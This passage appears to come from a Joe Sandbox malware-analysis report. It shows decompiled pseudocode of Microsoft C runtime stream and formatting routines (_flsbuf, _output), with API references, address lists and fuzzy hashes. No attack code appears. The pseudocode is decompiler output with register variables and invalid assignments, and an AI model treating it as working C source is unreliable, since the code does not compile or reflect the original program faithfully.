								if(( *(_t195 - 0x20) &  *(_t195 - 0x1c)) != 0xffffffff) {
									goto L23;
								}
								 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000020;
								_t104 = 0xffff;
								goto L28;
							}
						} else {
							 *(_t195 - 0xc) = E00433130( *((intOrPtr*)(_t195 - 8)),  *(_t195 - 0x10),  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)),  *(_t195 - 4));
							L23:
							 *((short*)( *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)))) =  *(_t195 + 8) & 0x0000ffff;
							goto L25;
						}
					}
					if( *((intOrPtr*)(_t195 - 8)) == E004265C0() + 0x20 ||  *((intOrPtr*)(_t195 - 8)) == E004265C0() + 0x40) {
						_t136 =  *(_t195 - 0x10);
						_t122 = E00433F60(_t130,  *(_t195 - 0x10), _t193, _t194,  *(_t195 - 0x10));
						_t197 = _t197 + 4;
						if(_t122 != 0) {
							goto L10;
						}
						goto L9;
					} else {
						L9:
						E00433EA0(_t136,  *((intOrPtr*)(_t195 - 8)));
						_t197 = _t197 + 4;
						goto L10;
					}
				} else {
					 *( *((intOrPtr*)(_t195 - 8)) + 4) = 0;
					if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x00000010) == 0) {
						 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000020;
						_t104 = 0xffff;
						L28:
						return _t104;
					}
					 *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8));
					 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0xfffffffe;
					goto L5;
				}
			}

0x0043d3ad
0x0043d3f9
0x0043d405
0x0043d414
0x0043d41a
0x0043d421
0x0043d428
0x0043d42b
0x0043d439
0x0043d471
0x0043d47d
0x0043d585
0x0043d595
0x0043d5ad
0x0043d5b0
0x0043d5b6
0x0043d5d1
0x0043d5b8
0x0043d5c4
0x0043d5c7
0x0043d5c7
0x00000000
0x0043d5b6
0x0043d48e
0x0043d490
0x0043d495
0x0043d497
0x0043d49c
0x0043d4a1
0x0043d4a3
0x0043d4a8
0x0043d4ae
0x0043d4b0
0x0043d4b0
0x0043d4ae
0x0043d4bc
0x0043d4cb
0x0043d4d9
0x0043d4e0
0x0043d502
0x0043d525
0x0043d50a
0x0043d520
0x0043d520
0x0043d52f
0x0043d533
0x0043d536
0x00000000
0x0043d538
0x0043d53e
0x0043d54a
0x0043d54d
0x0043d559
0x00000000
0x00000000
0x0043d567
0x0043d56a
0x00000000
0x0043d56a
0x0043d4e2
0x0043d4f9
0x0043d571
0x0043d580
0x00000000
0x0043d580
0x0043d4e0
0x0043d446
0x0043d455
0x0043d459
0x0043d45e
0x0043d463
0x00000000
0x00000000
0x00000000
0x0043d465
0x0043d465
0x0043d469
0x0043d46e
0x00000000
0x0043d46e
0x0043d3af
0x0043d3b2
0x0043d3c2
0x0043d3ec
0x0043d3ef
0x0043d5d6
0x0043d5d9
0x0043d5d9
0x0043d3cd
0x0043d3db
0x00000000
0x0043d3db

APIs

__isatty.LIBCMTD ref: 0043D459
__getbuf.LIBCMTD ref: 0043D469
__write.LIBCMTD ref: 0043D4F1

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c, xrefs: 0043D49C
("inconsistent IOB fields", stream->_ptr - stream->_base >= 0), xrefs: 0043D490

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: __getbuf__isatty__write
String ID: ("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)$f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c
API String ID: 2861569966-4070537404
Opcode ID: 4e63ef4f023fe234b1fa40458d7a5fa6a39807068a050f51eb1d7dfc8c94af50
Instruction ID: dd37184f5fba32c89677063bce093ed3e3f691b1a9117c4c814755f868d58772
Opcode Fuzzy Hash: 4e63ef4f023fe234b1fa40458d7a5fa6a39807068a050f51eb1d7dfc8c94af50
Instruction Fuzzy Hash: C051D775E00208EFDB14CF98D491A6EBBB1FF88324F149299E8456B395D635EE81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00426901, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00426901() {
				signed int _t102;
				signed int _t104;
				signed int _t114;
				void* _t118;
				void* _t121;
				signed int _t126;
				void* _t129;
				signed int _t174;
				void* _t188;
				void* _t189;
				void* _t190;
				void* _t192;

				if(( *( *(_t190 - 8) + 0xc) & 0x00000001) == 0) {
					L5:
					 *( *(_t190 - 8) + 0xc) =  *( *(_t190 - 8) + 0xc) | 0x00000002;
					 *( *(_t190 - 8) + 0xc) =  *( *(_t190 - 8) + 0xc) & 0xffffffef;
					 *( *(_t190 - 8) + 4) = 0;
					 *(_t190 - 4) = 0;
					_t135 =  *(_t190 - 4);
					 *(_t190 - 0xc) =  *(_t190 - 4);
					if(( *( *(_t190 - 8) + 0xc) & 0x0000010c) != 0) {
						L10:
						if(( *( *(_t190 - 8) + 0xc) & 0x00000108) == 0) {
							 *(_t190 - 4) = 1;
							 *(_t190 - 0xc) = E00433130( *(_t190 - 4),  *(_t190 - 0x10), _t190 + 8,  *(_t190 - 4));
							L25:
							if( *(_t190 - 0xc) ==  *(_t190 - 4)) {
								_t102 =  *(_t190 + 8) & 0x000000ff;
							} else {
								_t104 =  *( *(_t190 - 8) + 0xc) | 0x00000020;
								 *( *(_t190 - 8) + 0xc) = _t104;
								_t102 = _t104 | 0xffffffff;
							}
							goto L28;
						}
						if( *( *(_t190 - 8)) -  *((intOrPtr*)( *(_t190 - 8) + 8)) < 0) {
							_push(L"(\"inconsistent IOB fields\", stream->_ptr - stream->_base >= 0)");
							_push(0);
							_push(0xa0);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\_flsbuf.c");
							_push(2);
							_t118 = L0041E350();
							_t192 = _t192 + 0x14;
							if(_t118 == 1) {
								asm("int3");
							}
						}
						 *(_t190 - 4) =  *( *(_t190 - 8)) -  *((intOrPtr*)( *(_t190 - 8) + 8));
						 *( *(_t190 - 8)) =  *((intOrPtr*)( *(_t190 - 8) + 8)) + 1;
						 *( *(_t190 - 8) + 4) =  *((intOrPtr*)( *(_t190 - 8) + 0x18)) - 1;
						if( *(_t190 - 4) <= 0) {
							if( *(_t190 - 0x10) == 0xffffffff ||  *(_t190 - 0x10) == 0xfffffffe) {
								 *((intOrPtr*)(_t190 - 0x14)) = 0x440f40;
							} else {
								 *((intOrPtr*)(_t190 - 0x14)) = (( *(_t190 - 0x10) & 0x0000001f) << 6) +  *((intOrPtr*)(0x54b840 + ( *(_t190 - 0x10) >> 5) * 4));
							}
							_t68 =  *((intOrPtr*)(_t190 - 0x14)) + 4; // 0xa80
							_t149 =  *_t68 & 0x00000020;
							if(( *_t68 & 0x00000020) == 0) {
								goto L23;
							} else {
								_t174 =  *(_t190 - 0x10);
								 *(_t190 - 0x1c) = E00432DF0(_t149, _t174, _t174, 0, 0, 2);
								 *(_t190 - 0x18) = _t174;
								if(( *(_t190 - 0x1c) &  *(_t190 - 0x18)) != 0xffffffff) {
									goto L23;
								}
								_t114 =  *(_t190 - 8);
								 *(_t114 + 0xc) =  *( *(_t190 - 8) + 0xc) | 0x00000020;
								_t102 = _t114 | 0xffffffff;
								goto L28;
							}
						} else {
							 *(_t190 - 0xc) = E00433130( *(_t190 - 8),  *(_t190 - 0x10),  *((intOrPtr*)( *(_t190 - 8) + 8)),  *(_t190 - 4));
							L23:
							 *((char*)( *((intOrPtr*)( *(_t190 - 8) + 8)))) =  *(_t190 + 8);
							goto L25;
						}
					}
					if( *(_t190 - 8) == E004265C0() + 0x20 ||  *(_t190 - 8) == E004265C0() + 0x40) {
						_t135 =  *(_t190 - 0x10);
						_t121 = E00433F60(_t129,  *(_t190 - 0x10), _t188, _t189,  *(_t190 - 0x10));
						_t192 = _t192 + 4;
						if(_t121 != 0) {
							goto L10;
						}
						goto L9;
					} else {
						L9:
						E00433EA0(_t135,  *(_t190 - 8));
						_t192 = _t192 + 4;
						goto L10;
					}
				} else {
					 *( *(_t190 - 8) + 4) = 0;
					if(( *( *(_t190 - 8) + 0xc) & 0x00000010) == 0) {
						_t126 =  *(_t190 - 8);
						 *( *(_t190 - 8) + 0xc) =  *(_t126 + 0xc) | 0x00000020;
						_t102 = _t126 | 0xffffffff;
						L28:
						return _t102;
					}
					 *( *(_t190 - 8)) =  *((intOrPtr*)( *(_t190 - 8) + 8));
					 *( *(_t190 - 8) + 0xc) =  *( *(_t190 - 8) + 0xc) & 0xfffffffe;
					goto L5;
				}
			}

0x00426939
0x00426983
0x0042698f
0x0042699e
0x004269a4
0x004269ab
0x004269b2
0x004269b5
0x004269c3
0x004269fb
0x00426a07
0x00426b06
0x00426b21
0x00426b24
0x00426b2a
0x00426b43
0x00426b2c
0x00426b32
0x00426b38
0x00426b3b
0x00426b3b
0x00000000
0x00426b2a
0x00426a18
0x00426a1a
0x00426a1f
0x00426a21
0x00426a26
0x00426a2b
0x00426a2d
0x00426a32
0x00426a38
0x00426a3a
0x00426a3a
0x00426a38
0x00426a46
0x00426a55
0x00426a63
0x00426a6a
0x00426a8c
0x00426aaf
0x00426a94
0x00426aaa
0x00426aaa
0x00426ab9
0x00426abd
0x00426ac0
0x00000000
0x00426ac2
0x00426ac8
0x00426ad4
0x00426ad7
0x00426ae3
0x00000000
0x00000000
0x00426aee
0x00426af1
0x00426af4
0x00000000
0x00426af4
0x00426a6c
0x00426a83
0x00426af9
0x00426b02
0x00000000
0x00426b02
0x00426a6a
0x004269d0
0x004269df
0x004269e3
0x004269e8
0x004269ed
0x00000000
0x00000000
0x00000000
0x004269ef
0x004269ef
0x004269f3
0x004269f8
0x00000000
0x004269f8
0x0042693b
0x0042693e
0x0042694e
0x0042696c
0x00426978
0x0042697b
0x00426b48
0x00426b4b
0x00426b4b
0x00426959
0x00426967
0x00000000
0x00426967

APIs

__isatty.LIBCMTD ref: 004269E3
__getbuf.LIBCMTD ref: 004269F3
__write.LIBCMTD ref: 00426A7B

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c, xrefs: 00426A26
("inconsistent IOB fields", stream->_ptr - stream->_base >= 0), xrefs: 00426A1A

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: __getbuf__isatty__write
String ID: ("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)$f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c
API String ID: 2861569966-4070537404
Opcode ID: 3d4d91ef54f97070c88f46c8e9b1dc20defff80ac8ab4b06b126af9c05cf2377
Instruction ID: 6c61a304e1e4b1f4c291705974858f54942ac383f287368175a84f79fb8230ee
Opcode Fuzzy Hash: 3d4d91ef54f97070c88f46c8e9b1dc20defff80ac8ab4b06b126af9c05cf2377
Instruction Fuzzy Hash: 6951DB74A00218EFDB04CF98D491A6DFBB1BF88324F55C299D4856B395D635EA81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 004350D4, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E004350D4(void* __ebx, void* __edi, void* __esi) {
				signed int _t499;
				void* _t504;
				signed int _t506;
				void* _t526;
				void* _t528;
				signed int _t536;
				void* _t555;
				void* _t556;
				signed int _t557;
				void* _t559;

				L0:
				while(1) {
					L0:
					_t556 = __esi;
					_t555 = __edi;
					_t528 = __ebx;
					 *(_t557 - 0x30) = 8;
					while(1) {
						L146:
						 *(__ebp - 0x260) = 7;
						while(1) {
							L148:
							 *(__ebp - 8) = 0x10;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
							__eflags =  *(__ebp - 0x10) & 0x00000080;
							if(( *(__ebp - 0x10) & 0x00000080) != 0) {
								 *(__ebp - 0x14) = 0x30;
								 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
								__eflags =  *(__ebp - 0x260) + 0x51;
								 *((char*)(__ebp - 0x13)) = __al;
								 *(__ebp - 0x1c) = 2;
							}
							while(1) {
								L153:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
										__eflags =  *(__ebp - 0x10) & 0x00000020;
										if(( *(__ebp - 0x10) & 0x00000020) == 0) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												__eax = E004284A0(__ebp + 0x14);
												__edx = 0;
												__eflags = 0;
												 *(__ebp - 0x2b8) = __eax;
												 *(__ebp - 0x2b4) = 0;
											} else {
												__eax = __ebp + 0x14;
												__eax = E004284A0(__ebp + 0x14);
												asm("cdq");
												 *(__ebp - 0x2b8) = __eax;
												 *(__ebp - 0x2b4) = __edx;
											}
										} else {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												E004284A0(__ebp + 0x14) = __ax & 0x0000ffff;
												asm("cdq");
												 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
												 *(__ebp - 0x2b4) = __edx;
											} else {
												__eax = __ebp + 0x14;
												__eax = E004284A0(__ebp + 0x14);
												__ax = __eax;
												asm("cdq");
												 *(__ebp - 0x2b8) = __eax;
												 *(__ebp - 0x2b4) = __edx;
											}
										}
									} else {
										__eax = __ebp + 0x14;
										 *(__ebp - 0x2b8) = E004284C0(__ebp + 0x14);
										 *(__ebp - 0x2b4) = __edx;
									}
								} else {
									__ecx = __ebp + 0x14;
									 *(__ebp - 0x2b8) = E004284C0(__ebp + 0x14);
									 *(__ebp - 0x2b4) = __edx;
								}
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
								__eflags =  *(__ebp - 0x10) & 0x00000040;
								if(( *(__ebp - 0x10) & 0x00000040) == 0) {
									goto L170;
								}
								L166:
								__eflags =  *(__ebp - 0x2b4);
								if(__eflags > 0) {
									goto L170;
								}
								L167:
								if(__eflags < 0) {
									L169:
									 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b8));
									__edx =  *(__ebp - 0x2b4);
									asm("adc edx, 0x0");
									__edx =  ~( *(__ebp - 0x2b4));
									 *(__ebp - 0x2c0) =  ~( *(__ebp - 0x2b8));
									 *(__ebp - 0x2bc) =  ~( *(__ebp - 0x2b4));
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									L171:
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
									__eflags =  *(__ebp - 0x10) & 0x00008000;
									if(( *(__ebp - 0x10) & 0x00008000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
										__eflags =  *(__ebp - 0x10) & 0x00001000;
										if(( *(__ebp - 0x10) & 0x00001000) == 0) {
											__edx =  *(__ebp - 0x2c0);
											__eax =  *(__ebp - 0x2bc);
											__eax =  *(__ebp - 0x2bc) & 0x00000000;
											__eflags = __eax;
											 *(__ebp - 0x2bc) = __eax;
										}
									}
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) >= 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										__eflags =  *(__ebp - 0x30) - 0x200;
										if( *(__ebp - 0x30) > 0x200) {
											 *(__ebp - 0x30) = 0x200;
										}
									} else {
										 *(__ebp - 0x30) = 1;
									}
									 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
										 *(__ebp - 0x1c) = 0;
									}
									__eax = __ebp - 0x49;
									 *(__ebp - 4) = __ebp - 0x49;
									while(1) {
										L181:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L183;
										}
										L182:
										 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
										__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
										if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
											L186:
											__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
											 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
											__ecx =  *(__ebp - 4);
											__ecx =  *(__ebp - 4) + 1;
											 *(__ebp - 4) = __ecx;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
											__eflags =  *(__ebp - 0x10) & 0x00000200;
											if(( *(__ebp - 0x10) & 0x00000200) == 0) {
												while(1) {
													L190:
													__eflags =  *(__ebp - 0x28);
													if( *(__ebp - 0x28) != 0) {
														goto L216;
													}
													L191:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
														__eflags =  *(__ebp - 0x10) & 0x00000100;
														if(( *(__ebp - 0x10) & 0x00000100) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
															__eflags =  *(__ebp - 0x10) & 0x00000001;
															if(( *(__ebp - 0x10) & 0x00000001) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
																__eflags =  *(__ebp - 0x10) & 0x00000002;
																if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																	 *(__ebp - 0x14) = 0x20;
																	 *(__ebp - 0x1c) = 1;
																}
															} else {
																 *(__ebp - 0x14) = 0x2b;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2d;
															 *(__ebp - 0x1c) = 1;
														}
													}
													 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x2c4) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
													__eflags =  *(__ebp - 0x10) & 0x0000000c;
													if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2c4);
														__eax = E004283D0(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
													}
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x1c);
													__edx = __ebp - 0x14;
													E00428410( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) & 0x00000008;
													__eflags =  *(__ebp - 0x10) & 0x00000008;
													if(( *(__ebp - 0x10) & 0x00000008) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) == 0) {
															__edx = __ebp - 0x24c;
															__eax =  *(__ebp + 8);
															__ecx =  *(__ebp - 0x2c4);
															__eax = E004283D0(0x30,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
													__eflags =  *(__ebp - 0xc);
													if( *(__ebp - 0xc) == 0) {
														L212:
														__ecx = __ebp - 0x24c;
														__edx =  *(__ebp + 8);
														__eax =  *(__ebp - 0x24);
														__ecx =  *(__ebp - 4);
														__eax = E00428410(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
														goto L213;
													} else {
														L204:
														__eflags =  *(__ebp - 0x24);
														if( *(__ebp - 0x24) <= 0) {
															goto L212;
														}
														L205:
														 *(__ebp - 0x2dc) = 0;
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x2c8) =  *(__ebp - 4);
														__eax =  *(__ebp - 0x24);
														 *(__ebp - 0x2cc) =  *(__ebp - 0x24);
														while(1) {
															L206:
															__ecx =  *(__ebp - 0x2cc);
															 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
															 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L207:
															__eax =  *(__ebp - 0x2c8);
															 *(__ebp - 0x32e) =  *( *(__ebp - 0x2c8));
															__edx =  *(__ebp - 0x32e) & 0x0000ffff;
															__eax = __ebp - 0x2d8;
															__ecx = __ebp - 0x2d0;
															 *(__ebp - 0x2dc) = E00434360(__ebp - 0x2d0, __ebp - 0x2d8, 6,  *(__ebp - 0x32e) & 0x0000ffff);
															 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
															 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
															__eflags =  *(__ebp - 0x2dc);
															if( *(__ebp - 0x2dc) != 0) {
																L209:
																 *(__ebp - 0x24c) = 0xffffffff;
																break;
															}
															L208:
															__eflags =  *(__ebp - 0x2d0);
															if( *(__ebp - 0x2d0) != 0) {
																L210:
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2d0);
																__ebp - 0x2d8 = E00428410( *(__ebp + 8), __ebp - 0x2d8,  *(__ebp - 0x2d0),  *(__ebp + 8), __ebp - 0x24c);
																continue;
															}
															goto L209;
														}
														L211:
														L213:
														__eflags =  *(__ebp - 0x24c);
														if( *(__ebp - 0x24c) >= 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
															__eflags =  *(__ebp - 0x10) & 0x00000004;
															if(( *(__ebp - 0x10) & 0x00000004) != 0) {
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2c4);
																__eax = E004283D0(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
															}
														}
													}
													L216:
													__eflags =  *(__ebp - 0x20);
													if( *(__ebp - 0x20) != 0) {
														 *(__ebp - 0x20) = L0041C510( *(__ebp - 0x20), 2);
														 *(__ebp - 0x20) = 0;
													}
													while(1) {
														L218:
														 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
														_t547 =  *(_t557 - 0x251);
														 *(_t557 + 0xc) =  *(_t557 + 0xc) + 1;
														if( *(_t557 - 0x251) == 0 ||  *(_t557 - 0x24c) < 0) {
															break;
														} else {
															if( *(_t557 - 0x251) < 0x20 ||  *(_t557 - 0x251) > 0x78) {
																 *(_t557 - 0x310) = 0;
															} else {
																 *(_t557 - 0x310) =  *( *(_t557 - 0x251) +  &M00407DE8) & 0xf;
															}
														}
														L7:
														 *(_t557 - 0x250) =  *(_t557 - 0x310);
														_t506 =  *(_t557 - 0x250) * 9;
														_t536 =  *(_t557 - 0x25c);
														_t547 = ( *(_t506 + _t536 + 0x407e08) & 0x000000ff) >> 4;
														 *(_t557 - 0x25c) = ( *(_t506 + _t536 + 0x407e08) & 0x000000ff) >> 4;
														if( *(_t557 - 0x25c) != 8) {
															L16:
															 *(_t557 - 0x318) =  *(_t557 - 0x25c);
															__eflags =  *(_t557 - 0x318) - 7;
															if( *(_t557 - 0x318) > 7) {
																continue;
															}
															L17:
															switch( *((intOrPtr*)( *(_t557 - 0x318) * 4 +  &M004356A0))) {
																case 0:
																	L18:
																	 *(_t557 - 0xc) = 0;
																	_t509 = E00431350( *(_t557 - 0x251) & 0x000000ff, E0041AE20(_t557 - 0x40));
																	_t562 = _t559 + 8;
																	__eflags = _t509;
																	if(_t509 == 0) {
																		L24:
																		E00428330( *(_t557 - 0x251) & 0x000000ff,  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																		_t559 = _t562 + 0xc;
																		goto L218;
																	} else {
																		E00428330( *((intOrPtr*)(_t557 + 8)),  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																		_t562 = _t562 + 0xc;
																		_t541 =  *( *(_t557 + 0xc));
																		 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
																		_t547 =  *(_t557 + 0xc) + 1;
																		__eflags = _t547;
																		 *(_t557 + 0xc) = _t547;
																		asm("sbb eax, eax");
																		 *(_t557 - 0x27c) =  ~( ~( *(_t557 - 0x251)));
																		if(_t547 == 0) {
																			_push(L"(ch != _T(\'\\0\'))");
																			_push(0);
																			_push(0x486);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			_t521 = L0041E350();
																			_t562 = _t562 + 0x14;
																			__eflags = _t521 - 1;
																			if(_t521 == 1) {
																				asm("int3");
																			}
																		}
																		L22:
																		__eflags =  *(_t557 - 0x27c);
																		if( *(_t557 - 0x27c) != 0) {
																			goto L24;
																		} else {
																			 *((intOrPtr*)(L00422E40(_t541))) = 0x16;
																			E00422BD0(_t528, _t541, _t555, _t556, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																			 *(_t557 - 0x2f4) = 0xffffffff;
																			E0041ADF0(_t557 - 0x40);
																			_t499 =  *(_t557 - 0x2f4);
																			goto L229;
																		}
																	}
																case 1:
																	L25:
																	 *(__ebp - 0x2c) = 0;
																	__edx =  *(__ebp - 0x2c);
																	 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																	__eax =  *(__ebp - 0x28);
																	 *(__ebp - 0x18) =  *(__ebp - 0x28);
																	__ecx =  *(__ebp - 0x18);
																	 *(__ebp - 0x1c) = __ecx;
																	 *(__ebp - 0x10) = 0;
																	 *(__ebp - 0x30) = 0xffffffff;
																	 *(__ebp - 0xc) = 0;
																	goto L218;
																case 2:
																	L26:
																	__edx =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																	 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																	__eflags =  *(__ebp - 0x31c) - 0x10;
																	if( *(__ebp - 0x31c) > 0x10) {
																		goto L33;
																	}
																	L27:
																	__ecx =  *(__ebp - 0x31c);
																	_t72 = __ecx + 0x4356d8; // 0x498d04
																	__edx =  *_t72 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t72 & 0x000000ff) * 4 +  &M004356C0))) {
																		case 0:
																			goto L30;
																		case 1:
																			goto L31;
																		case 2:
																			goto L29;
																		case 3:
																			goto L28;
																		case 4:
																			goto L32;
																		case 5:
																			goto L33;
																	}
																case 3:
																	L34:
																	__edx =  *((char*)(__ebp - 0x251));
																	__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																	if( *((char*)(__ebp - 0x251)) != 0x2a) {
																		__eax =  *(__ebp - 0x18);
																		__eax =  *(__ebp - 0x18) * 0xa;
																		__eflags = __eax;
																		__ecx =  *((char*)(__ebp - 0x251));
																		_t96 = __ecx - 0x30; // -48
																		__edx = __eax + _t96;
																		 *(__ebp - 0x18) = __eax + _t96;
																	} else {
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x18) = E004284A0(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x18);
																		if( *(__ebp - 0x18) < 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000004;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																			 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
